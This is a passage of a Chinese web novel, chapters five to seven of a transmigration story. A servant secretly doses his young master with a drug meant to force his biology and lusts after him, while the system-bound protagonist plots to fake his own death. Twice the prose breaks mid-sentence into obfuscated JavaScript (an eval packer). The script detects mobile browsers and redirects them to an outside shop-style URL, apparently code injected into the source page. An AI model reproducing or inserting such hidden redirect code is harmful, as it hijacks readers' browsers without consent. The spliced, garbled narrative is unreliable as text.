“绳子的勒痕?”康诺很疑惑。 祁许:统哥,怎么有绳子的勒痕?你不是绑得挺松的么,快说,你是不是趁我昏迷不醒的时候故意打击报复。 系统:冤枉啊兄弟,那可能绑绳子的时候勒的吧。再说了,那小少爷细皮嫩肉的,碰一下就会红。 祁许:这倒也是。 红痕是绳子勒出来的,如果没有及时处理,可能就会变成淤青了。 ”嗯,还有其他伤痕。”凯尔拿药酒轻揉着。 其他伤痕是两人打斗时误伤造成的,已经变成了淤青,里面的淤血如果不揉开,估计明天会更疼。 “少爷,可能会有点疼,你且忍忍。” “嗯。” 动作轻了淤血揉不开,所以这里得加点力道,娇嫩的少爷肯定会受不了。 果不其然,康诺疼得满头大汗,眼泪也止不住的流,凯尔不禁喉头一动,脑海中幻想着这人做某事时的模样,估计也是这般让人情动吧。 “好了少爷。”凯尔收起药品,拿来干净衣服替康诺穿好,然后将手帕和纸巾都递给他。 “少爷暂时不宜洗澡,我去给你您准备食物,人在受惊之后会觉得有些饿。” 得到允许后,凯尔退下。 5. 第五章 没几分钟,凯尔就过来了,手里端着杯热水,“少爷,喝点热水压压惊。” 人在受了惊之后喝点热水能缓解情绪,让自己静下来。 “你懂的可真多。” “是,这样子才能更好的照顾好小少爷。”凯尔不卑不亢。 喝了水,康诺坐在床上盖着被子,凯尔问了小少爷想要的吃食后就出去了,去准备食物填小少爷的肚子。 祁许:统哥,你还好吧。 祁许狗腿的笑着。 系统:你说呢,一脚踹我脸上,没流鼻血就算好的了,真想揍死你这小屁孩。 祁许:统哥息怒,我那不是看不见不是。 系统:瞅你那样儿我都难受得慌,养伤去了。 祁许应下,那一棍子他根本就没用力,没有造成什么影响,但那乱扑蹬的脚可是实打实的正 中了某人的脸。 凯尔端着吃食进来的时候,康诺已经靠着床睡着了。 凯尔走近才发现小少爷已经睡熟,看起来很恬静,他忽然笑了,果真像个小孩子一样。 他揉了揉太阳穴,将康诺喊起来,那人还迷糊着,眼睛都没睁开,凯尔一勺一勺的喂给他。 这次分化剂的味道没那么浓烈,多了些食物味道,凯尔还算有点良心。 祁许胃口不错,况且还被帅哥服侍着,吃的那叫一个香。 很快凯尔手里的碗就见底了,给康诺擦干净嘴就端着碗出去了,让康诺能够好好休息。 他打算去查一查凶手从哪里来的,却不料刚好碰到康诺的父亲罗伊回来。 罗伊瞥了凯尔一眼就急冲冲的往康诺的卧房走去,凯尔只得抬脚跟着他身后回到卧房。 “我的小康诺,你怎么样了?” 康诺刚躺下准备接着休息,就看见一个大块头朝他冲了过来,然后在他床跟前刹车,蹲下,尽量将自己缩小。 一只些许粗糙的手掌却忽然握住了他柔嫩的双手,然后包裹住。 “我的小康诺,快让爸爸看看你都伤到哪里了?”罗伊那双关爱的眼神让康诺无法拒绝。 康诺依然藏在被子中不动,似是被吓懵了。 老父亲罗伊心疼得小心脏都要停止了跳动。 罗伊心疼的同时又气愤,“你是怎么照顾小少爷的,怎么能让小少爷受伤。” 凯尔上前,屈下身子,“属下失职,属下该罚。” 罗伊看在他主动认错的份上便让他下去领罚。 “爸爸,爸爸,我没事儿,我不疼。”康诺可是知道惩罚是有多严重的,那可是能要了人半条命的呀,即使身体再强壮的人儿都得躺上十天半个月。 “你都伤成那样了,怎么可能不疼呢。”那个没用的东西,竟然让小康诺伤得那么重,现在还维护着他,罗伊越想越气,上前对着凯尔的胸口就是一脚。 “我没事的爸爸,这只是看起来伤得厉害而已,其实一点也不疼的。”康诺拦住爸爸。 “再者,如果不是凯尔我就回不来了,凯尔一直都在保护我,他也受了很多伤的。”康诺为凯尔开脱,不想让他受罚。 罗伊见宝贝儿子这么说,开始有些松动。 “爸爸,你看,我真的没事。”康诺站起来跳了几下,以示证明。 罗伊这才放弃惩罚凯尔的想法,“那我的小康诺要好好养伤,等小康诺好了,爸爸带你出去玩。”一只些许粗糙的手掌抚上了康诺的脑袋,轻柔的揉着头发。 “嗯,我要去好多好多地方玩。”康诺一听到玩眼睛都亮了,乖巧的点头,做出一副要好好休息的模样。 “好,想去哪玩爸爸就带你去哪,好好养伤吧我的小康诺。”没在这里待多久罗伊就走了。 身为帝国的大将军,每天都有很多公务需要处理,跟自己的儿子待不了多久。 凯尔对康诺的看法有所改观,小少爷似乎不再是不在乎他人了,知道替自己的仆人说话了,但也对他的做法感到疑惑,“小少爷缘何要替我说好话,我没保护好小少爷,受罚是应该的。” 康诺低下脑袋,眼里满是落魄,他身为大将军的儿子,以后也是要当大将军的人,却让自己陷入了危险之中,是很不应该的。 凯尔走近,站在卧床旁边,做出洗耳恭听的姿态。 “我身为大将军的继承人,是不能随便出差错的,这次却让自己陷入了危险之中,还需要自己的仆人保护自己才得以脱身,是很不应该的。 让你去受罚,就会有很多人知道这件事情,就会给别人留下把柄。” 凯尔在心底嗤笑,果然,这小少爷的不在乎他人的脾性哪那么容易改变。 凯尔低下头,敛去眼底的情绪,“属下还是很感谢小少爷让自己免去了责罚。” 空气安静了下来,让凯尔一度以为康诺睡着了,秉着仆人守则,一直保持着一个姿势没动。 就在凯尔想要抬头看看的时候,床上突然传来动静,康诺慢慢的挪到凯尔面前,双手捧起凯尔的一只手,一边不动声色的轻抚着,一边说。 “我只把我的软肋留给你。” 钢铁般的男人被这轻声的一句话撩动了心弦,喉结滚动,他好想扒掉小少爷的衣服,让他在自己身下哭。 感受着手上传来的柔感,努力压下心底的荡漾,强迫自己冷静下来,小少爷马上就要变成omega了,alpha和omega天生相互吸引,自己会被影响也是情有可原的。 “属下万分感谢小少爷的信任。”凯尔露出被小少爷信任的喜悦。 康诺终究是个没吃过苦的少爷,先前被绑架的时候就受了不少苦,刚刚还在大将军罗伊面前蹦了两下,这下肯定是累了,虚弱都已经写在了脸上。 “不谢。”康诺轻笑。 “那属下就不打扰小少爷休息,先出去了。” 康诺应允。 待凯尔走了有一会儿后,祁许喊出系统。 系统:你又整啥玩意儿,还让不让人养伤了 祁许:不是,那老狗比真是一点也不开窍,我刚蹦那两下疼得要死,他也不说给我看看,也不心疼心疼一下。 系统:你还不是一样的疼。 祁许:那好歹也让我心里舒服点啊。 祁许不满的哼哼。 系统:人家心里可只有复仇,哪有什么情啊爱啊的。 系统大人想要一语点醒梦中人。 祁许继续哼哼。 系统:你可消停会儿吧,我这老身子可禁不起折腾,你再不休息我就要狗带了。 祁许撇撇嘴:可真脆弱。 系统:咱可是陪你折腾了一宿,现在天都快亮了,生产队的驴都没有这样的。 祁许:行吧行吧。 祁许想起以前自己还在画漫画的时候,以前有了素材,有了灵感之后,一画就是好几个小时呢,画到半夜才睡的次数可是数不胜数的。 有时候睡觉时做了梦有了灵感都要爬起来画漫画的,作息时间极其的不规律,那个时候的身体也没有这位破系统大爷这么不经事儿。 祁许就在怀念往事中睡了过去。 翌日,因着天蒙蒙亮时给康诺准备了食物填了肚子,所以凯尔正午饭点才来喊醒他的小少爷。 亲力亲为的给小少爷又上了药,皇家的药用的可都是名贵的药材做成,药效是极好的,昨天的那些红痕今天已经消失了,淤青也淡了许多。 膝盖上的摔破了的今天已经不红了,可能再多擦几次就要结痂了,到时候就要换一种药擦。 凯尔为他换上了衣服,依旧是康诺喜欢的款式。 然后就带他去吃午餐。 康诺胃不好,所以每次厨房做什么凯尔总是要盯着的,有时候还会亲自给他准备他的食物,今天康诺气色看起来比昨晚好了些,因此今天吃饭的时候又能吃出分化剂的味道了,祁许嫌弃的暗地里吐舌头。 康诺一点一点的往嘴里送,似是有些心不在焉,又像是因为虚弱所以力不从心。 祁许:统哥,咱这计划还是得继续才是。 系统也很苦恼,他也生怕祁许完不成任务,到时候就玩完儿了。 系统:那你说咋办,你现在分化程度都85%了。 “小少爷。”凯尔微微俯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305247|198697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身在他旁边,“可是不合口味?” “没有,我没胃口。”康诺淡淡的说,语气听起来还有些虚弱。 “那就是不合口味了,我再去做些开胃的来,小少爷这胃可是饿不得的。”康诺说罢就离开了这里。 祁许正在为假死计划苦恼着,就没有管凯尔。 凯尔重新做的开胃菜里肯定也会放分化剂,分量只会多不会少,他可得加紧进度才是。 于是在凯尔端来了重新做的菜之后,康诺这个吃几口那个吃几口把肚子填了个七八分饱就说自己饱了。 祁许决定了,要让自己不断的受伤才行,总有一次他能假死成功。 然后对凯尔说:“我要洗澡,我再不洗澡我就要难受死了。” 凯尔有些犹豫,小少爷身上的伤还没有好完全呢,按理来说最好是不要洗澡的。 不过皇室的药药效是极好的,所以小少爷身上的伤恢复得极快,所以最后还是没有拗过小少爷,同意了让他洗澡。 准备好了换洗的衣服放在了浴室外面,在浴缸里放好了热水就将小少爷唤了过来。 脱好了衣服踏进浴缸里,只露出香嫩白皙的玉肩在水外面,他手心舀起水,慢吞吞的抬起细嫩的胳膊,然后将水倒回。 凯尔看着那吹弹可破,光滑水润的皮肤,喉头一紧。 康诺发现凯尔还站在那里,便说:“这里不用你伺候,你出去等着吧。” 在门被关上了之后,祁许便烦躁的打起了水花,凯尔站在门口听着里面的动静,勾唇,真是个孩子。 打着打着,祁许突然想到了什么,呼唤出美名其曰要养伤的系统。 祁许:统子,你说我是不是可以闷在水里? 系统:你想咋滴就咋滴,只要能成功就行了,等到需要我的帮忙的时候再喊我哈,我要养伤。 祁许不乐意了:嘿,你哪那么娇气,我跟你打商量还不行。 系统:行行行行行,你想咋滴就咋滴,你是祖宗。 祁许这才满意,终于不再打水花了,慢慢的挪动身子,让自己下沉,好把脑袋淹进水里。 水已经到了下颌处,祁许深吸一口气,然后憋气,一脑袋栽进了水里。 凯尔一直守在门外不曾离开半步,练武之人听力会比常人好些,所以他才没有拒绝小少爷的要求,改在浴室门外守着。 陡然之间浴室里没了玩水的声音,凯尔疑惑,想进去看看,但又害怕小少爷只是玩累了休息一会,看见他突然进来会生气。 思虑再三,凯尔还是决定进去看看,刚将浴室门打开了一点缝隙,探了脑袋进去,这不看不要紧,一看可给他下了一跳。 小少爷淹在了水里。 凯尔赶忙进去把小少爷从水里捞了出来,用浴巾包裹住,将他打横抱起回了卧房的床上。 刚才祁许憋气憋得太过认真,突然被从水里捞出来可吓了一大跳,眼睛瞪得圆圆的。 在凯尔看来就是因为溺水受了惊吓。 “小少爷,你有没有哪儿不舒服的?”凯尔语气急切,仍然将小少爷抱在自己怀里,做安抚式的抚着后背。 “我没有。”康诺摇摇头。 凯尔也没有松手,只是拍着康诺后背的手挪到了肩膀上,抚摸着玉肩。 祁许暗自咂舌,这老狗比,不对,这老色胚,这有本事揩油咋没本事上嘞,我这软玉娇香的身体就摆在面前,竟然跟没看见似的,这美人和复仇咱得两不误不是。 凯尔埋下脑袋凑近小少爷的脖颈,微热的气息都扑打在了细腻敏感的皮肤上,使得怀中人不自觉的抖了抖。 “小少爷怎么无缘无故的就闷在了水里?”凯尔疑惑的开口,嘴巴一张一合呼出的湿热的气体尽数扑在了康诺的脖颈处,康诺下意识的缩了下脖子。 凯尔却将他的小少爷搂得更紧了些,“嗯?” 康诺挣扎,想要离开他的怀抱,小脸蛋气鼓鼓的,红彤彤的,眉毛都快要拧到一起了,好似一只要炸毛了小猫咪一般。 凯尔一点也没满足,但也只能松开手,看着小少爷气呼呼的小脸,等着小少爷的答案。 6. 第六章 康诺并没有回答凯尔的问题。 “属下是担心小少爷受了惊吓,所以想要安慰小少爷。”凯尔又再次问出那个问题:“小少爷怎么会闷到水里去了?” “我那会儿玩的有点久了,又觉得不太舒服,然后就滑下去了。”康诺支支吾吾的说着,似乎是觉得洗澡也能溺水这件事很丢人,不太愿意看着凯尔。 “既然小少爷身体还有些不舒服,不如还是不要洗澡了。”凯尔得处处都要为康诺着想,不能让他受到一丁点的伤害,不然就是自己的失职,他会很懊恼,会让自己觉得自己无能。 “不行。”康诺一听就不乐意了,他刚刚只是泡在水里面了,连沐浴露,沐浴球什么的他都还没有用呢。 “可是小少爷身体不太舒服,万一又溺水了怎么办?”凯尔想也不想的就拒绝了,这可不是闹着玩的,小少爷可是会没命的。 “但是我还没有洗香香。” 果然撒娇的男人最好命。 凯尔一下子就心软了,那软软糯糯的声音甜得他心都要化了。 “继续洗也可以,但是我不能离开。”凯尔退了一步,答应了自家小少爷,同时也提出了自己的要求。 康诺为难的咬着嘴唇,他在要干净还是要面子中犹豫。 他贵为皇室中人,从小就或者奢靡的生活,不洗澡的时候压根儿就没有过,现如今却沦落到不能洗澡的地步,恕他实在是不能忍受。 “那好吧。”康诺艰难的点头答应。 “那我去给您换水。”两人可是在外面折腾了好一会儿,现在水肯定是凉了,没凉也不够热了,如果想继续洗,就得换热水了。 康诺点点头,乖巧的坐在床上等待着,只要能洗澡就够了。 换好了水,凯尔出来将康诺抱了进去,轻手轻脚的放在了浴缸里。 康诺褪下身上的浴巾递给他,“你可以转过去了。” 然凯尔在结果浴巾后并没有打算转身,他说:“为了防止小少爷再次发生类似的情况,我得好好盯着才是。” 不就是想看我洗澡么,说的那么义正言辞,祁许搁心里对凯尔翻了个白眼。 康诺往水里丢了个沐浴球,看着他在水里化开,香味都铺散开来,闯进鼻间,心情都愉悦了不少。 再往身上抹沐浴露,凯尔盯着康诺的每一个动作,哪怕是一个舔唇的动作他也不想放过,湿润的唇,饱满还带着点晶莹,红润润的,诱惑十足。 凯尔眼中满是燥热,康诺的脸也越来越红,一部分是热气所致,还有一部分是害羞,被人盯着洗澡不好意思了。 沐浴完毕后康诺得继续休息,但是洗了澡之后觉得肚子有点饿了,便让凯尔出去拿糕点过来。 祁许欲哭无泪:统哥,我失败了。 系统叹了口气:嗐,我知道,再接再厉吧哈。 轻飘飘的一句鼓励就将祁许给打发了,然后继续打着养伤的名号偷懒去了,他已经不想记祁许那个二愣子了,眼看着分化进度就要100%了,那人离计划成功还差得远呢。 糕点端来,祁许闻着那香味口水都要流出来了。 糕点是每天皇室的大厨房做好了定点送过来的,而且因为是块状的,所以凯尔不方便也加不了分化剂。 糕点不仅闻起来香甜,也很好吃,康诺拿过一块就直接塞进了嘴里,名门贵族的形象都被抛在了脑后。 没有加料的东西,吃起来就是香啊。 正大口的享受着美味,心里也美滋滋的,谁知突然就被呛到了气管里。 康诺使劲儿咳嗽,脸涨得通红通红的,喉咙难受得不得了。 恰巧这个时候凯尔怕糕点吃了太干,去给他拿饮料了。 气管被吃食堵住,康诺已经没办法呼吸了。 就在祁许暗喜天助他也,他终于能假死了的时候,凯尔回来了。 凯尔连忙丢下手机的东西,过来给康诺拍背,顺气,然而并没有什么效果,康诺难受得不行,憋得眼泪都流出来了。 凯尔只得让小少爷站起来,两腿之间呈弓步,另一条腿绷直,然后双手环抱住他的腰,一只手握拳,拳眼放在肚脐两横指上方,另一只手包住拳头,连续、快速、用力向他的后上方冲击,直到卡进去的糕点被吐出来。 康诺得救后大口大口的喘气,整张脸都变成了红色,喉咙难受得不行,还有点痛。 “喝点润润喉。”凯尔把之前带过来的饮料递给他,然后扶着他坐下。 “吃东西一定要细嚼慢咽,一小口一小口的吃,慢慢吃没关系的,没有人很小少爷抢。”凯尔给康诺拍背顺气,这次得亏他来得及时,才没酿成大祸,可真是有惊无险。 在缓过来之后,康诺木木的盯着那盘糕点。 “怎么了?”凯尔顺着他的视线望去,不明所以。 “还想吃,没吃饱。”小少爷红润润的小嘴巴边儿上还沾着口水,却还记得吃,真是个孩子。 委屈巴巴的哭腔一来,凯尔又心软了,“不吃这个了,换一个吧。” 康诺自是同意的,有吃的能填肚子就可以了,换一个就换一个吧。 凯尔再次回来市手里端的是一碗银耳羹,还在冒热气。 银耳美容养颜,最适合omega食用。 “你端的是什么?” 祁许天天听着系统的东北话自己也学会了不少,现在讲那字正腔圆的普通话都觉得难受,还不是直接问“你拎的啥玩意儿”来得痛快。 “银耳雪梨羹,润喉养胃。”刚刚那样帮他把卡住的糕点吐出来,对胃的伤害比较大,现在得做些护胃的给他吃才行。(注:使用过海姆立克急救法的患者需要到医院进行胃部的检查。) 康诺正打算接过碗,却不料被凯尔给躲了过去,“小少爷,还是我来喂您喝吧,以免您有呛到。” “我不会了。”小少爷不满的反驳道。 凯尔并不应允,挖起一勺递到小少爷嘴边,后者只好张嘴喝下。 祁许欲哭无泪,他这是造了什么孽啊,这都没成功,到头来还得被喂了吃。 “小少爷可要多吃点才能长得强壮些。” 强壮个屁呀强壮,他现在只想要有能够让他假死的机会呀。 养尊处优的小少爷康诺乖巧的一口一口的享受着凯尔的喂饭。 系统:哟呵,某人荣幸获得喂食服务呀,不错不错。 祁许恼羞成怒,想揍死系统的心都有了,这么大了还被喂饭,真是丢人。 祁许:哼哼,咋滴,你羡慕啊。 系统:切,我才不羡慕呢,你可赶紧的吧,抓紧点儿。 祁许:知道啦。 他还就不信了,他还死不成了。 休息了一下午,凯尔喊他起来的时候又是饭点,因着不放心,所以又是一勺一勺慢慢的喂着。 得亏他不是成天吃了睡,睡了吃的,不然他得肥成猪。 就在一碗饭快见底的时候,大将军来了,来看他的宝贝小儿子了。 他可是处理完了公务就立刻过来了,迫切的想要知道他的宝贝身上的伤怎么样了。 “我的小康诺,你好些了吗?”大块头急冲冲的冲进康诺的卧房,全身的肌肉随着动作摇晃,一进房,关切的目光就投向了正在进食的康诺。 “我好多了爸爸。”康诺咽下口里的食物,然后推开凯尔的手,起身走向父亲。 “好多了就好。”罗伊拉着他的儿子左看看右看看,这儿捏一捏,那儿捏一捏,发现他是真的好了不少,便放了心。 “吃完了吗小康诺,爸爸带你去散散步。”罗伊现在只要一有机会就会与他的亲亲小儿子在一起。 “吃完了。”康诺在凯尔的呵护下在床上躺了一天了,巴不得可以走走,活动活动,现下听到可以出去,高兴得很,连忙把自己收拾了一番。 小少爷出卧房可是要风风光光的,要出现在外人面前,好的形象可是必须的。 形象的影响是很大的,在名门贵族里,一个人的形象可是代表了整个家族的形象。 这可是马虎不得的,不然就给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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今天的吃食里也满满的都是分化剂的味道,他也得加快脚步才行,一定要找个机会假死然后跑出去找到妹妹让她回来才行。 不然等他分化了一切就晚了。 祁许打算晚上同系统好好商量一下,他身边那么多凯尔的人,他可以靠近那些人,没准那些人就趁势对他下手了呢,最近他总是出各种各样的意外,如果让凯尔的人来动手,凯尔就不会觉得他不对劲从而对他产生怀疑。 只是他不知道的是,原本卡尔设定在他的身边的那些人,从伤害他变成了保护他… 两个人慢悠悠的走着,天渐渐的黑了下来,罗伊担心他儿子的身体,所以并没有走太久,亲自将他儿子护送回了卧房之后再离开。 因为出了门,小少爷又打算洗澡,凯尔还想继续盯着,因为怕小少爷又沉在了水里,但是小少爷十分抗拒。 最后在小少爷的再三保证不会沉下去的情况下康诺才得以自己洗了个澡。 虽然小少爷不让他在里面监督,但他还是尽职尽责的在浴室门外守着,全神贯注的听着里面的动静。 康诺洗澡的时候也总是弄出响声,确保凯尔能听到,那样他就不会冲进来看自己洗澡了。 两个人互相都很配合,所以康诺十分顺利的洗了这个澡,出来之后凯尔继续为他上药,身上的伤已经快要痊愈,基本上感觉不到疼痛了,明天就可以换一种药了,那药可以祛除疤痕,小少爷这身子上若是留下了疤痕可就不完美了。 “小少爷明天可以换一种药擦了。”凯尔盖好药罐子,然后等待药物吸收再为他穿上衣服。 “换什么药?”卧房里的室温一年四季都保持在一个温度上,所以康诺光着身子坐在那里一点也不觉得冷,就是被凯尔看着,有点害羞。 “换那种可以祛除疤痕的药,小少爷身上如果留下疤痕就不好看了。” “我不要,我不用那种药。” 凯尔怎么也没想到小少爷会拒绝使用那种药,据他对小少爷的了解,小少爷可是不允许自己身上有任何的瑕疵的。 “为什么?小少爷不是不允许自己的身上有瑕疵么?” “那是以前,我以后可是要做将军的人,身上有点伤痕才能证明自己是英雄,是很厉害的。” 凯尔不知道小少爷哪里来的歪理,但也不反驳他,反正为小少爷上药的人是他,他就算用了祛疤膏小少爷也不知道,他可不想看到小少爷身上有瑕疵,一丁点都不行。 7. 第七章 康诺见凯尔不应答他的话,不耐烦的将他赶了出去。 看吧,没有人,没有任何一个人认为他能够成为大将军一职,就连他的贴身仆人也是。 康诺不由得苦笑,他贵为皇子,也是诺尔帝国大将军的儿子,风光无限,也只是表面上的而已。 夜间,凯尔趁所有人都睡了,便将他的帝国的余党们都召集到了一起,商量夺权之事。 “诺尔帝国的人已经察觉到了我们的存在,这两天他们加强了防卫和巡查力度。” “是啊,我们现在的处境很危险,陛下你得加快动作才是。” 凯尔的帝国余下的那些群臣们和他的属下一人一言,无一不在催促他加快步伐。 凯尔当然想尽快夺权,复国。 他的帝国被毁灭后他便被当做人质转卖,最后到了康诺的手上,成为了他的贴身仆人,与他一同长大,贴身服侍康诺。 康诺的父亲,诺尔帝国的大将军罗伊便是他的灭国仇人,可这么多年,他就这么一声不吭的待在他们身边,任劳任怨的服侍着诺尔帝国的小少爷。 本该是陛下,享受着荣华富贵的人却低声下气的当着仆人,怎么可能甘愿呢。 他不该心软的,他也以为他不可能心软的。 但是现在,他错了,错得离谱,他担心小少爷会因为催化剂的剂量太大,长时间服用会受到伤害,便迟迟没有加大剂量。 “那个康诺,得尽快解决掉。”一个颇有威望的大臣开口提醒凯尔。 凯尔不悦的皱眉,并不想接他的话,“我自有分寸,各位保护好自己就行了。” 说罢凯尔便离开了,他明天一早还要给康诺准备早餐,喊他起床,给他穿衣服。 可以直勾勾的盯着康诺的白里透红的身体,可以伸手抚摸,然后看他生气的时候气鼓鼓的模样。 光是想想凯尔便感觉到一股燥热往身下涌去,不由得失笑,他可真是。 翌日凯尔去敲响康诺的房门,里面却并没有应答他。 凯尔猜想康诺可能还没有睡醒,于是便站在门外守着,马上就要到了早饭的点凯尔才又敲了敲门。 里面还是没有动静,凯尔不得不擅自打开门进去了。 因为是皇室中人,有些严谨的作息时间,每天睡觉起床一日三餐的点都是固定的。 小少爷一般不可能这个时候才醒,就算最近身体不适,这个点他也该起来了,他的胃不好,再不吃点东西进去他该胃疼了。 凯尔一开门便傻了眼,里面哪里有小少爷康诺的影子啊,他以为小少爷先起来了自己去洗漱了,但是这种可能性微乎及微。 他找遍了小少爷的整个寝宫都没有看到小少爷的身影,这才确定,小少爷失踪了,而且极大的可能是被绑架了。 皇室最近守卫森严,特别是小少爷的居所,巡逻的人从未松懈过,而且自己派在他身边的人都是保护他的。 现下能在这个节骨眼上将小少爷带走的人便只有他的部下了。 凯尔只能在心里干着急,这件事不能声张,不然罗伊得让他吃不了兜着走。 他突然想到了昨晚上的那个让自己解决康诺的臣子,暗道一声要遭,肯定是因为自己昨晚没有回他的话,他以为自己心软了下不去手了,于是他着急了便想出了这么一个招想要自己动手。 他也不知道那些人会把他的康诺带到哪里去,他也不可能去禀告大将军,那无疑是将自己也送了出去。 他只得自己暗地里找人。 他去往自己常与他们联系互递消息,商谈要事的据点,那位臣子正坐在里面与别人一起喝茶。 凯尔一进去就揪住那人的衣领。 “陛下,你这是干什么?”那位臣子不明所以。 旁边的人也上前去将他们拉开,但都被凯尔给躲了过去。 “陛下,有话好好说,莫要冲动。” 凯尔似是没听到一般,无视他人怒声质问道:“康诺呢?” “陛下怎的来问我,您一直贴身跟着他,我怎么知道他在哪里。”那位臣子听到凯尔这么问,便知道自己的猜测极有可能是对的。 暗自抹了一把汗的同时开始装傻充愣。 “你别以为我不知道。”凯尔咬牙切齿地说道:“你不就是因为我昨晚没有答应你的话嘛,所以才绑架了康诺。” 那位臣子见自己已经暴露,便说:“陛下您昨日的犹豫令臣子感到堪忧,您与康诺一起生活了那么久,有点情愫于心不忍也是应该的,情有可原。 于是老臣便自作主张,替陛下完成这件事。” 凯尔心里焦急得很,恨不得立马知道康诺的所在之处,以及他现在的处境。 他肯定还没有吃饭吧,饿了这么久,胃肯定开始痛了。 凯尔沉下脸,“我不动手自有我的理由,心软,在我的世界里没有这个词。” 凯尔只得唬他说,不让康诺分化是因为他打算在夺权之后并不要立即杀了罗伊,那个时候罗伊肯定还心存侥幸,想着他的小儿子,那个时候再让他的小儿子分化成omega断了他的念头,这样以来罗伊就会彻底绝望。 他并不想让罗伊死的太舒服。 臣子听完,额头上的汗已经泪如雨下,感情他是坏了陛下的好事呀。 不过都这个时候了,想必他的那些人都已经动手了吧,估计早就已经服用了大量的分化剂并且已经分化了。 不过这些个他可不敢很凯尔说,就怕一个万一,他的小命就不保了。 凯尔一脸凶神恶煞的质问康诺的下落,那个臣子支支吾吾,磕磕碜碜了半天才说出来。 在了解到了具体位置之后,凯尔不耐烦的一把扔开那人,快步离开了。 那浑身阴沉沉的气场让那些不明所以想对他行礼的人都不敢靠近。 凯尔只身一人前往,期间还被人喊住,因为别人很少看到凯尔独身一人的,便问他去哪,怎么没跟在小少爷身边。 “小少爷馋嘴了,让我出去给他买,去晚了买不到他还生气了。”凯尔心底里焦急得很,此刻恨不得杀了眼前这个碍事的人,面上却是不显。 一听闻小少爷会生气,那人赶忙放走凯尔,小少爷不可怕,但小少爷生气了就可怕了,小少爷一生气就要穿到大将军那里。 等传到大将军那里那惹他生气的人就完蛋了,小少爷康诺可是大将军的心头肉,他自己都舍不得惹他的小康诺生气。 若是自己惹得宝贝生气了,他可是要惩罚自己的,更遑论是别人。 在一栋阴沉沉的大房子里的一个阴暗的小房间里。 “催化剂都准备好了吗。”他是绑架康诺这间事情的主要负责人,他刚刚去外面巡查了一圈,确保附近并没有任何一丝异常才进来。 “准备好了,只是那个人还没醒。”负责为康诺注射药剂的人看了一眼还昏迷着的康诺撇撇嘴。 他们昨晚下手的时候还是收了力度的,谁知道这小少爷身子这么娇弱,一手刀下去到现在都还没醒。 他使用的这种药物跟凯尔的不一样,效果更好,同时副作用也会更大。 只不过他的药在人清醒的状况下注射,药效会更好,分化的速度也会更快。 他们必须得把康诺分化的时间缩到最短,以防出现什么变故。 因为凯尔的动作快,将康诺身边的人都换成了他们的人,他们才得以进得了康诺的身,他们才能悄咪咪的把康诺绑出来。 就在那些人在苦恼怎么才能把人弄醒的时候。 “嗯…哼。”康诺此时哼哼唧唧的醒了过来。 康诺环视一周,看着那些人,便知道发生了什么。 肯定是凯尔那些人着急了,昨天夜里趁着他睡着了将他绑了出来。 他虽然睡眠不浅,但被他们拖走了还是晓得的,他当时还不知道咋的了,迷迷糊糊醒过来,就被一手刀给劈晕了,现在他脖子疼得不得了。 “哟,醒了。”周围有人注意到了他的动静。 康诺暗道不好,他还打算看看这屋子里的环境,看看有什么他可以利用的,他虽然是想死,却不是真的死啊。 但这些人明显就是要弄死他的节奏。 康诺赶忙装做迷迷糊糊刚刚醒过来的模样,看着那些人,装糊涂的问:“你们是谁啊,为什么要抓我?” 那些人不予回答,负责注射药物的人正在那里调配药剂,准备一会给他打进去。 康诺一人孤零零的在一边没人理,委屈巴巴的带着哭腔,“你们为什么要抓我?你们如果缺钱的话,我可以给你们,我爸爸是诺尔帝国的大将军,他有很多很多钱,你们要多少我都可以给你们。” 有一人忍不住开口:“可真是够单纯的呢。” “嗯?”小少爷疑惑的抬头,不解。 “你还不知道吧,你身边的贴身仆人凯尔,是前帝国的皇子,你父亲可是他的灭国仇人。” “不可能。”康诺满脸的不可置信。 那人继续说着:“当年他还小,被当做人质贩卖到你这里,在你这里低声下气这么多年,表面毕恭毕敬的伺候你,私底下收集了许多的情报。 他找到了我们,问我们愿不愿意复国,与我们商讨复国的要事,你还不知道吧,你每天吃的东西里他可是放了分化剂的,他的目的便是让你分化成omega,让诺尔帝国后继无人,让你的家人对你彻底的失望。 你应该也发现了,你跟你的父亲的差别,肯定也知道你这么娇小柔弱无论如何都不可能分化成alpha吧。 凯尔想要做的便是让你分化成omega,然后就立刻杀了你这个纨绔的小少爷,最后夺取这个帝国的兵团,掌握这个国家的实权。” 在听完了那人所说之后,康诺瞪大了双眼,明显是不想相信的。 但是想到,他吃的饭菜里面总是少了一起炊烟的味道,多了一丝其他的很奇怪的化学试剂的味道。 再想到凯尔平时的种种作为,康诺越想越觉得可疑,越想越觉得那人说的一切都是真的。 他既震惊又委屈,凯尔平时对自己那么好,对他照顾的无微不至,自己对凯尔也是全心全意的,把他当做自己的人,把自己的软肋留给那人。 怎么可能… 药配好了之后,那个人就拿着一个带着长长的粗粗的针的注射器走了过来。 “你知道这是什么吗?这是分化剂,给你打了这一针后你可以分化成omega了,然后再把你送到凯尔那里,他会亲自杀了你。”他拿着药剂一步一步的走向康诺。 康诺委屈得不得了,他还是不愿意相信这一切。 看着那个人靠近他,康诺也不住的往后退,知道无处可退了之后便在整个房子里四处乱窜了起来。 因为小少爷身材娇小,所以并没有安排很多人负责绑架,现下总共就只有三个人在这里。 谁知这一疏忽竟然就让他钻了空子,因为他身形小,可以四处乱窜,钻各种空间小的位置,那三个alpha大块头就不行了。 他们体型大一些,行动起来就不太方便,在追回抓住康诺的过程中总是磕磕绊绊的,撞得屋子里的东西东倒西歪的,他们所到之处都是乱七八糟的一团。 凯尔还得防着有人跟着他,只得小心又小心,好不容易到了那所房子里,现在大门口听到里面对康诺呼天喝地的动静,不由得送了一口气。 还好,他到的还算及时,听里面的人所喊的话,看来是还没有注射催化剂。 凯尔一脚踹开了门,屋内四人都停下动作朝门口看了过来。 